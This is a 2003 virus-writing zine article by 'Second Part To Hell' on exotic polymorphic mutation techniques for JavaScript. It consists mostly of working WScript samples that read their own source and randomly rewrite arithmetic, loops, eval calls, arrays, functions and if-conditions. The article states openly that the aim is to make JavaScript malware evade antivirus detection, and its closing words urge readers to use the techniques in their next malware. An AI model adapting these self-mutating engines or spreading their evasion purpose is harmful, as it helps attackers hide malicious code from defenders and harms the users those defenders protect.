| Last article | Table of contents | Next article |
|---|
Exotic morphing techniques in JavaScript by Second Part To Hell
.intro words
This article deals with exotic morphing techniques. The following techniques are
all kinds of polymorphism, but not the standard way, moreover some neverseen ones.
After I wrote something about encryption, EPO, standard-polymorphism and so on in
JavaScript, I decided do make something neverseen and neverthought. And, in my
oppinion, I had success. That was my inspiration: I've never seen something
NON-STANDARD in JavaScript. Sure, there are some good things in that language,
for instands the poly engines by jackie, but that's more or less standard (anyway,
it's real good quality). I don't know, if the following are as good as the 'standard'
techniques, anyway, they are new, and maybe interesting. When I started to get the
ideas and began to write the samples, I asked Kefi and SAD1c, if they want to do the
project together with me, but unfortunately they had no real ideas for this topic, so
I had to do it alone. Now go and read something more senseful than this silly intro :).
.index
1) Morphing techniques
a) Calculations with one variable
b) Round Numbers
c) eval()
d) for | while | do ... while
e) function games
f) Array stuff
g) If changing
.Morphing techniques
The most difficult thing when I did this project was to find things, which I could change.
I had some ideas, when I started, but not enought for a cool project, so I went to a
bookstore and bought a nice 'JavaScript-Reference-Guide'. Then the most difficult thing:
I had to search different commands with the same result or even commands, which could be
changed. And slowly some ideas reached my brain. :) And, you may think, making the sample
for a technique is difficulter than get an idea, but that's not right, as I found out.
As you can see, I found seven different techniques, how I can change a code in an exotic
way. Some of them are really useful and some of them are just sick. Now read and try to
understand...
a) Calculations with one variable
As you know, you can use different calculations to get the same result. Therefore
I also thought about that, and I think, that I had success. First have a look at
the different commands, than look at the example.
* Add
- i=i+3;
- i+=3;
- i++; i++; i++;
* Sub
- i=i-3;
- i-=3;
- i--; i--; i--;
* Mul
- i=i*3;
- i*=3;
- i/=(1/3);
* Div
- i=i/3;
- i/=3;
- i*=(1/3);
Now you can see, that we have 3 different commands for every calculation. But now we have
to exchange them, and that's more difficult. The most difficult thing while writing a tool,
which changes the calculation is, that the variable-name and the numbers will be different.
Therefore I used only variables which have the following form: [nuc????].
- - - - - - - - - - - - - - - [ Calculation example ] - - - - - - - - - - - - - - -
/*
nucaaaa=nucaaaa+3;
nucaaaa+=3;
nucaaaa++; nucaaaa++;
nucaaaa=nucaaaa-5;
nucaaaa-=5;
nucaaaa--; nucaaaa--;
nucaaaa=nucaaaa*4;
nucaaaa*=4;
nucaaaa/=(1/4);
nucaaaa=nucaaaa/7;
nucaaaa/=7;
nucaaaa*=(1/7);
*/
var fso=WScript.CreateObject('Scripting.FileSystemObject');
fileall=fso.OpenTextFile(WScript.ScriptFullName).ReadAll()
filelns=fileall.split(String.fromCharCode(13,10)); code='';
for (nuccali=0; nuccali<filelns.length;)
{
code+=String.fromCharCode(13,10);
for (nuccalj=0; nuccalj<filelns[nuccali].length;)
{
check=0;
if (filelns[nuccali].substring(nuccalj,nuccalj+3)=='nuc')
{
sign=filelns[nuccali].substring(nuccalj,nuccalj+7);
for (nuccalk=0; nuccalk<20;)
{
nuccalk+='';
if (filelns[nuccali].substring(nuccalj,nuccalj+17+nuccalk.length)==sign+'='+sign+'+'+nuccalk+';') { numfound('+',sign,nuccalk); nuccalj+=17+nuccalk.length; }
if (filelns[nuccali].substring(nuccalj,nuccalj+10+nuccalk.length)==sign+'+='+nuccalk+';') { numfound('+',sign,nuccalk); check=1; nuccalj+=10+nuccalk.length; }
if (filelns[nuccali].substring(nuccalj,nuccalj+17+nuccalk.length)==sign+'='+sign+'-'+nuccalk+';') { numfound('-',sign,nuccalk); nuccalj+=17+nuccalk.length; }
if (filelns[nuccali].substring(nuccalj,nuccalj+10+nuccalk.length)==sign+'-='+nuccalk+';') { numfound('-',sign,nuccalk); nuccalj+=10+nuccalk.length; }
if (filelns[nuccali].substring(nuccalj,nuccalj+17+nuccalk.length)==sign+'='+sign+'*'+nuccalk+';') { numfound('*',sign,nuccalk); nuccalj+=17+nuccalk.length; }
if (filelns[nuccali].substring(nuccalj,nuccalj+10+nuccalk.length)==sign+'*='+nuccalk+';') { numfound('*',sign,nuccalk); nuccalj+=10+nuccalk.length; }
if (filelns[nuccali].substring(nuccalj,nuccalj+14+nuccalk.length)==sign+'/=(1/'+nuccalk+');') { numfound('*',sign,nuccalk); nuccalj+=14+nuccalk.length; }
if (filelns[nuccali].substring(nuccalj,nuccalj+17+nuccalk.length)==sign+'='+sign+'/'+nuccalk+';') { numfound('/',sign,nuccalk); nuccalj+=17+nuccalk.length; }
if (filelns[nuccali].substring(nuccalj,nuccalj+10+nuccalk.length)==sign+'/='+nuccalk+';') { numfound('/',sign,nuccalk); nuccalj+=10+nuccalk.length; }
if (filelns[nuccali].substring(nuccalj,nuccalj+14+nuccalk.length)==sign+'*=(1/'+nuccalk+');') { numfound('/',sign,nuccalk); nuccalj+=14+nuccalk.length; }
nuccalk/=1;
nuccalk=nuccalk+1;
}
if (filelns[nuccali].substring(nuccalj,nuccalj+10)==sign+'++;') { numfound('+',sign,1); nuccalj+=10; }
if (filelns[nuccali].substring(nuccalj,nuccalj+10)==sign+'--;') { numfound('-',sign,1); nuccalj+=10; }
}
nuccalj++;
if (!check) { code+=filelns[nuccali].charAt(nuccalj-1) }
}
nuccali++;
}
file=fso.OpenTextFile(WScript.ScriptFullName,2)
file.Write(code)
file.Close();
function numfound(calc, sign, number)
{
switch(calc)
{
case '+':
rand=Math.round(Math.random()*2)
switch(rand)
{
case 0: code+=sign+'='+sign+'+'+number+';'; break;
case 1: code+=sign+'+='+number+';'; break;
case 2: for (nuccall=0; nuccall<number;) { nuccall++; code+=sign+'++;'; }; break;
}
break;
case '-':
rand=Math.round(Math.random()*2)
switch(rand)
{
case 0: code+=sign+'='+sign+'-'+number+';'; break;
case 1: code+=sign+'-='+number+';'; break;
case 2: for (nuccall=0; nuccall<number;) { nuccall++; code+=sign+'--;'; }; break;
}
break;
case '*':
rand=Math.round(Math.random()*2)
switch(rand)
{
case 0: code+=sign+'='+sign+'*'+number+';'; break;
case 1: code+=sign+'*='+number+';'; break;
case 2: code+=sign+'/=(1/'+number+');'; break;
}
break;
case '/':
rand=Math.round(Math.random()*2)
switch(rand)
{
case 0: code+=sign+'='+sign+'/'+number+';'; break;
case 1: code+=sign+'/='+number+';'; break;
case 2: code+=sign+'*=(1/'+number+');'; break;
}
break;
}
}
- - - - - - - - - - - - - - - [ Calculation example ] - - - - - - - - - - - - - - -
As you can see, the first lines are just commands to check, if it works, because it's
hell to look to the code and try to find things which changed. And because of the reason
that this is no beginner tutorial I won't explain every line, but I'll tell you, how it
works.
--> It splits the whole code into lines (chr[13+10])
--> It searches in the line, for the beginning of a variable, which is the first thing
for every calculation (this startcode is 'nuc')
--> It checks 12 ways, if there is a calculation to change.
--> It calls the function 'numfound', and saves the calculationtyp (+,-,*,/), the variablename,
and the number (it finds it's number in a brute-force way, and because of the time to run
it only searchs numbers from 0-20:
( 100lines * 40letters per line * 12 calculation ways * 20 numbers)
--> It searches a new calculation and add it to the code
b) Round Numbers
Most JavaScript viruses use the command 'Math.round(Math.random()*?)' to find random numbers.
Now look at the command 'round'. You can change this.
- Math.round(Math.random()*9)+1 | Numbers: 1-10
- Math.floor(Math.random()*9)+1 | Numbers: 1-9
- Math.ceil(Math.rondom()*9)+1 | Numbers: 2-10
You can see, that there is a difference between the numbers, but it's not a big
problem, because you're searching random numbers, so you can easyly use this.
- - - - - - - - - - - - - - - [ Round-numbers example ] - - - - - - - - - - - - - - -
/*
round
floor
ceil
round
floor
ceil
round
floor
ceil
round
floor
ceil
*/
var fso=WScript.CreateObject('Scripting.FileSystemObject');
fileall=fso.OpenTextFile(WScript.ScriptFullName).ReadAll()
var rname=new Array('r'+'ound', 'f'+'loor', 'c'+'eil');
for (i=0; i<3; i++)
{
code='';
for (j=0; j<fileall.length; j++)
{
if (fileall.substring(j,j+rname[i].length)==rname[i]) { found(); j+=rname[i].length; }
code+=fileall.charAt(j);
}
fileall=code;
}
file=fso.OpenTextFile(WScript.ScriptFullName,2).Write(code)
function found()
{
switch(Math.round(Math.random()*4))
{
case 1: code+='r'+'ound'; break;
case 2: code+='f'+'loor'; break;
case 3: code+='c'+'eil'; break;
default: found(); break;
}
}
- - - - - - - - - - - - - - - [ Round-numbers example ] - - - - - - - - - - - - - - -
You can see again, that the first lines between the '/*-*/' are commands to check,
if it works. In my opinion, this code works good, also there are only three different
commands to change. Nevertheless, this is a really short and complex script. Now
I'll explain you, how it works.
--> Makes array with the three things, which will be changed (round, floor, ceil).
--> Checks if the code contains the things.
--> If yes, change it in the code, and write it back to file.
c) eval()
This is a really nice command, which runs strings. And because of that we have three
new ways to change our code. First have a look at the syntax:
eval('...code...')
I'll explain you, how you are able to do same things in a different way:
- code
- eval('code');
- var a='code'; eval(a);
One little thing, that you have to note: You don't want, that some time your whole code
contains 'eval()'s, so you have to replace them sometimes. A problem could be, that your
string is a variable, so if you replace the 'eval', the variable will be alone in the
code, because of that a syntax-error occures. So you also have to replace the variable and write
the orginal string to the code.
- - - - - - - - - - - - - - - [ eval() example ] - - - - - - - - - - - - - - -
// Any silly command 1
// Any silly command 2
// Any silly command 3
// Any silly command 4
// Any silly command 5
var fso=WScript.CreateObject('Scripting.FileSystemObject');
code=''; checkb=0;
filesp=fso.OpenTextFile(WScript.ScriptFullName).ReadAll().split(String.fromCharCode(13,10))
for (i=0; i<filesp.length; i++) {
for (j=0; j<filesp[i].length; j++) { if (filesp[i].substring(j,j+5)=='e'+'val(') { foundev(); checkb=1; } }
switch(Math.round(Math.random()*3)) {
case 1: if (!checkb) { makeev(); } break;
default: code+=filesp[i]+String.fromCharCode(13,10); break; } }
WScript.Echo(code)
function foundev() {
if (Math.round(Math.random()*3)==1) {
switch(j) {
case 0: code+=filesp[i].substring(7,filesp[i].length-2)+String.fromCharCode(13,10); break;
default: for (k=0; k<filesp[i].length; k++) { if (filesp[i].substring(k,k+2)==';'+' ') { code+=filesp[i].substring(10,k-1)+String.fromCharCode(13,10) } }; break; } } }
function makeev() {
check=0; ranname=randn();
for (j=0; j<filesp[i].length; j++) { if (filesp[i].charAt(j)==String.fromCharCode(58)) { check=1 } }
if (filesp[i].charAt(5)!=String.fromCharCode(34) && !check && filesp[i].charAt(filesp[i].length-1)!=String.fromCharCode(123)) {
switch(Math.round(Math.random()*1)) {
case 0: code+='var '+ranname+'='+String.fromCharCode(34)+filesp[i]+String.fromCharCode(34)+'; eval('+ranname+')'+String.fromCharCode(13,10)
case 1: code+='eval('+String.fromCharCode(34)+filesp[i]+String.fromCharCode(34)+');'+String.fromCharCode(13,10) } } }
function randn() {
randon='';
for (j=0; j<4; j++) { randon+=String.fromCharCode(Math.round(Math.random()*25)+98) }
return(randon) }
- - - - - - - - - - - - - - - [ eval() example ] - - - - - - - - - - - - - - -
First: the first 5 commands do nothing. They are just for checking, what the code does.
This is a hardcore complex code, I think, and it's little hard to understand,
but I just want to show you, that it's possible, and not help you ripping my
programs :). Now let's have a look at the behaviour of the script.
--> It splits the code to lines [chr(13+10)]
--> It searchs for 'eval(', and one in three times, it removes the eval (and, if it exists,
the variable, which contains the code)
--> It checks if the a line can be changed:
* 5th sign<>" (already changed without a variable = error occures because of double "'s)
* doesn't contain a ':' ( case = syntax error occures)
* last sign<>'{' ( for instands: function ...() | if () | for () = syntax error occures)
--> One in three times, the line becomes changed.
d) for | while | do ... while
This is the next technique, how to change your code. If you want to run something
x times, you need one of this commands. Their syntaxes are little different, but
all in all, we are able to change the things. Now let's look at the lines with different
commands, which anyway does the same:
- for (i=0; i<5; i++) { WScript.Echo(i); }
- i=0; while (i<5) { WScript.Echo(i); i++; }
- i=0; do { WScript.Echo(i); i++; } while (i<5);
OK, what do we need to change them?
--> the variablename ('i')
--> the start-value ('0')
--> when we want to end the loop ('<5')
--> the calculation ('++')
--> the commands ('WScript.Echo(i);')
If we found that, it should be easy to change the code. But you have to know, that you have to
search the things three times, because there are 3 different syntaxes.
A big problem to find the commands could be a line like that:
- - - - -
for (i=0; i<12; i++) { for (j=0; j<3; j++) { WScript.Echo(i+j); if (j==i) { WScript.Echo(j); } } }
- - - - -
Do you know why? Because there are 2 'for' in one line and there is also an 'if'. That means, that
we can't search for the commands, but we count and search the '}'. But just look at my example.
- - - - - - - - - - - - - - - [ for|(do ... ) while example ] - - - - - - - - - - - - - - -
/*
for (i=0; i<12; i++) { WScript.Echo(i) }
for (i=100; i<filesp[i].length; i=i+100) { WScript.Echo(i) }
for (i=1000; i>0; i--) { WScript.Echo(i) }
*/
var fso=WScript.CreateObject('Scripting.FileSystemObject'); code=''
filesp=fso.OpenTextFile(WScript.ScriptFullName).ReadAll().split(String.fromCharCode(13,10))
i=0; do { check=0; j=0; while (j<filesp[i].length) { if (filesp[i].substring(j,j+3)=='f'+'or') { foundit('f'); check=1; } if (!check) { code+=filesp[i].charAt(j); } j++; } code+=String.fromCharCode(13,10); i++ } while (i<filesp.length);
fso.OpenTextFile(WScript.ScriptFullName,2).Write(code)
function foundit(typea)
{
switch(typea)
{
case 'f':
address=j+5;
k=address; while (k<address+20) { if (filesp[i].charAt(k)=='=') { useita=filesp[i].substring(address,k); k=address+20; } k++; }
address+=2*useita.length;
k=address; do { if (filesp[i].substring(k,k+2)=='; ') { useitb=filesp[i].substring(address,k); k=address+100; } k++ } while (k<address+100);
address+=2+useita.length+useitb.length;
k=address; while (k<address+100) { if (filesp[i].substring(k,k+2)=='; ') { useitc=filesp[i].substring(address,k); k=address+100; } k++; }
address+=2+useita.length+useitc.length;
k=address; while (k<address+30) { if (filesp[i].substring(k,k+2)==') ') { useitd=filesp[i].substring(address,k); k=address+30; } k++; }
changeit(useita, useitb, useitc, useitd, 1, address+2+useitd.length)
break;
}
}
function changeit(ca, cb, cc, cd, count, addy)
{
k=0; while (k<j) { if (filesp[i].charAt(k)==String.fromCharCode(123)) { count++; }; if (filesp[i].charAt(k)==String.fromCharCode(125)) { count--; } k++; }
k=filesp[i].length; while (k>0) { if (filesp[i].charAt(k)==String.fromCharCode(123)) { count++; }; if (filesp[i].charAt(k)==String.fromCharCode(125)) { count--; }; if (!count) { cea=k; k=0; } k--; }
ce=filesp[i].substring(addy,cea); j=cea+1;
switch(Math.round(Math.random()*2))
{
case 0: code+='f'+'or ('+ca+'='+cb+'; '+ca+cc+'; '+ca+cd+') '+ce+' }'; break;
case 1: code+=ca+'='+cb+'; while ('+ca+cc+') '+ce+ca+cd+'; }'; break;
case 2: code+=ca+'='+cb+'; do '+ce+ca+cd+' } while ('+ca+cc+');'; break;
}
code+=filesp[i].substring(j,filesp[i].length);
}
- - - - - - - - - - - - - - - [ for|(do ... ) while example ] - - - - - - - - - - - - - - -
This code changes every 'for' to 'for' | 'while' | 'do ... while'. It should be no problem
to also change the 'while' and 'do-while', but as I've already told you before, I don't want
to help you to rip anything :). The code just exists because I want to give you the idea how
to make something like that. OK, now let's look at the short explanation, how it works.
--> splits the whole code to lines
--> searches for a 'for' (exactly it searches for 'f'+'or', because we don't want to give another
'for' to find).
--> It searches for the variable (for instands 'i')
--> It searches for the value (for instands '0' [i=0])
--> It searches for the behavior (for instands '<10')
--> It searches for the calculation (for instands '++')
--> It makes a new loop with the found values
--> It writes the new code to the file
e) function games
First question: What exactly does a function? It contains a code, which it runs.
And now another question: What (for instands) does a for? It runs a code x times.
Guess what that means... We can change the 'for' (or 'if' or whatever) to call a
function, which contains our code. That was my idea, and when I tried to make it,
it was no problem. But first let's look at the possible variants:
- for (i=0; i<100; i++) { WScript.Echo(i) }
- for (i=0; i<100; i++) { anyname() }
function anyname { WScript.Echo(i) }
- if (...) { code }
- if (...) { anyfunction() }
function anyfunction() { code }
I think, you got the point. You just have to search for a '{' and copy the code.
Then you make a new function with the code, delete the code in the file, and call
the function. Easy, ehh? :) Have a look at the example:
- - - - - - - - - - - - - - - [ function games example ] - - - - - - - - - - - - - - -
var fso=WScript.CreateObject('Scripting.FileSystemObject');
nl=String.fromCharCode(13,10); code=''; count=0; fcode=''
file=fso.OpenTextFile(WScript.ScriptFullName).ReadAll()
for (i=0; i<file.length; i++) { check=0; if (file.charAt(i)==String.fromCharCode(123) && Math.round(Math.random()*3)==1) { foundit(); check=1 } if (!check) { code+=file.charAt(i) } }
fso.OpenTextFile(WScript.ScriptFullName,2).Write(code+fcode)
function foundit()
{
fcodea=''; count=0; randon='';
for (j=i; j<file.length; j++) { if (file.charAt(j)==String.fromCharCode(123)) { count++; } if (file.charAt(j)==String.fromCharCode(125)) { count--; } if (!count) { fcodea=file.substring(i+1,j); j=file.length; } }
for (j=0; j<Math.round(Math.random()*5)+4; j++) { randon+=String.fromCharCode(Math.round(Math.random()*25)+97) }
fcode+=nl+nl+'function '+randon+'()'+nl+String.fromCharCode(123)+nl+fcodea+nl+String.fromCharCode(125)
code+=String.fromCharCode(123)+' '+randon+'() '
i+=fcodea.length;
}
- - - - - - - - - - - - - - - [ function games example ] - - - - - - - - - - - - - - -
The code is pretty easy and short, anyways: I'll explain, how it works:
--> Read the code from the file
--> Searches for a '{'
--> Searches for the end of the function|for|if|whatever
--> One in three times it makes a new function with the code, and makes a call to the funtion
f) Array stuff
An 'Array' is a variable, that can save more than one value. That command is really
important for a virus writer :). But, as you might think, we can also change the command,
that it looks really different as before. How to do this? It's possible to give the array
the values directly when you make the array, or you can also give it a value after makeing
it. Now let's look at the two different instructions:
- var a=new Array('a', 'b', 'c');
- var a=new Array(); a[0]='a'; a[1]='b'; a[2]='c';
OK, how does that work? You run the line with the array, save the values and make a new
line with the changed command. Should be easy. Let's have a look at the 'array'-example:
- - - - - - - - - - - - - - - - - - [ Array example ] - - - - - - - - - - - - - - - - - -
/*
var testa=new Array('a', 'b', 'c', 'Iris')
var testb=new Array(); testb[0]='a'; testb[1]='b'; testb[2]='c'; testb[3]='Iris';
*/
var fso=WScript.CreateObject('Scripting.FileSystemObject'); code='';
filesp=fso.OpenTextFile(WScript.ScriptFullName).ReadAll().split(String.fromCharCode(13,10))
for (i=0; i<filesp.length; i++) { for (j=0; j<filesp[i].length; j++) { if (filesp[i].substring(j,j+10)=='n'+'ew Array(') { arrayf() } if (filesp[i].substring(j,j+10)!='n'+'ew Array(') { code+=filesp[i].charAt(j,j+1) } } code+=String.fromCharCode(13,10) }
WScript.Echo(code)
function arrayf()
{
arrvar=filesp[i].substring(4,j-1)
code=code.substring(0,code.length-5-arrvar.length)
rand=Math.round(Math.random()*1)
eval(filesp[i])
code+='var '+arrvar+'=n'+'ew Array('
if (!rand)
{
for (k=0; k<eval(arrvar).length; k++) { code+=String.fromCharCode(39)+eval(arrvar)[k]+String.fromCharCode(39,59,32) }
code=code.substring(0,code.length-2)+String.fromCharCode(41)
}
if (rand)
{
code+='); ';
for (k=0; k<eval(arrvar).length; k++) { code+=arrvar+'['+k+']='+String.fromCharCode(39)+eval(arrvar)[k]+String.fromCharCode(39,59,32) }
}
j=filesp[i].length;
}
- - - - - - - - - - - - - - - - - - [ Array example ] - - - - - - - - - - - - - - - - - -
Now I'll explain exactly how the code works, I hope, you will understand it :)
--> Splits the code into lines.
--> Searches a string named 'new Array('.
--> Evals the array, to get the values.
--> Makes the new Array.
g) If changing
'If' is one of the most important commands in every progging-language, but you know that.
But maybe you don't know, that you can also change the structur of the 'if'. Just think
about that: 'a<=b' == 'b>=a'. That was my basic, and so I made the code, which changes
the 'if' in the code. You have to know, that the code only changes the 'double-sign'-operator
due I was too lazy, to also change the '<','>','===','!=='. Anyway, the idea is discovered,
and also the praxis is done. But now let's have a look at the things, the program changes:
- if (a<=b) { ... } <--> if (b>=a) { ... }
- if (a>=b) { ... } <--> if (b<=a) { ... }
- if (a!=b) { ... } <--> if (b!=a) { ... }
- if (a==b) { ... } <--> if (b==a) { ... }
A funny thing is, that the code also changes some ' '. I don't really know why, but I guess,
it's no problem, due this is a 'JavaScript-Code changing'-article. But now let's look at the
example of the technique:
- - - - - - - - - - - - - - - - - - [ If-changing example ] - - - - - - - - - - - - - - - - - -
// if (a<=b) { ... } | if (b>=a) { ... }
// if (a>=b) { ... } | if (b<=a) { ... }
// if (a!=b) { ... } | if (b!=a) { ... }
// if (a==b) { ... } | if (b==a) { ... }
var fso=WScript.CreateObject('Scripting.FileSystemObject'); code='';
filesp=fso.OpenTextFile(WScript.ScriptFullName).ReadAll().split(String.fromCharCode(13,10))
for (i=0; i<filesp.length; i++)
{
for (j=0; j<filesp[i].length; j++)
{
if (filesp[i].substring(j,j+4)=='i'+'f '+String.fromCharCode(40)) { foundit() }
if (filesp[i].substring(j,j+4)!='i'+'f '+String.fromCharCode(40)) { code+=filesp[i].charAt(j) }
}
code+=String.fromCharCode(13,10)
}
fso.OpenTextFile(WScript.ScriptFullName,2).Write(code)
WScript.Echo(code)
function foundit()
{
count=1;
for (k=j; k<filesp[i].length; k++)
{
switch(filesp[i].substring(k,k+2))
{
case '<=': sign='>='; vara=filesp[i].substring(j+4,k); k=filesp[i].length; break;
case '>=': sign='<='; vara=filesp[i].substring(j+4,k); k=filesp[i].length; break;
case '!=': sign='!='; vara=filesp[i].substring(j+4,k); k=filesp[i].length; break;
case '==': sign='=='; vara=filesp[i].substring(j+4,k); k=filesp[i].length; break;
default: sign=''; break;
}
}
for (l=j+vara.length+6; l<filesp[i].length; l++) { if (filesp[i].charAt(l)==String.fromCharCode(40)) { count++ } if (filesp[i].charAt(l)==String.fromCharCode(41)) { count--; } if (count==0) { varb=filesp[i].substring(j+vara.length+6,l); l=filesp[i].length; } }
j--;
if (Math.round(Math.random()*2)==1) { code+='i'+'f ('+varb+sign+vara+')'; j+=vara.length+varb.length+8; }
}
- - - - - - - - - - - - - - - - - - [ If changing example ] - - - - - - - - - - - - - - - - - -
This code should be quite easy, and not really hard to understand for you. Anyway, I'll
tell you, what it does:
--> Splits the code to lines
--> searches for 'if (' in the lines
--> Finds the first operator
--> Finds the calculation and get the new one
--> Finds the second operator
--> chages the 'if'
.last words
In the end I want to tell you, that I've really enjoyed discovering the techniques and writing the
article. All in all, I hope, that you learned something by reading this thing, and maybe you will
try to use some things in your next JavaScript-maleware. :) I'm sure, that AntiVirus-guys would
have a real big problem, if they have to detect such a virus with some exotic morphing techniques.
And isn't it our mission to fake these guys? ;) OK, now go on and work on something useful, maybe
with the new information I gave you. It would be great, if I'll get some mails about what you think
about this techniques, no problme if a good critic or a bad one... :D
- - - - - - - - - - - - - - -
Second Part To Hell/[rRlf]
www.spth.de.vu
written from august-oct 2003
Austria
- - - - - - - - - - - - - - -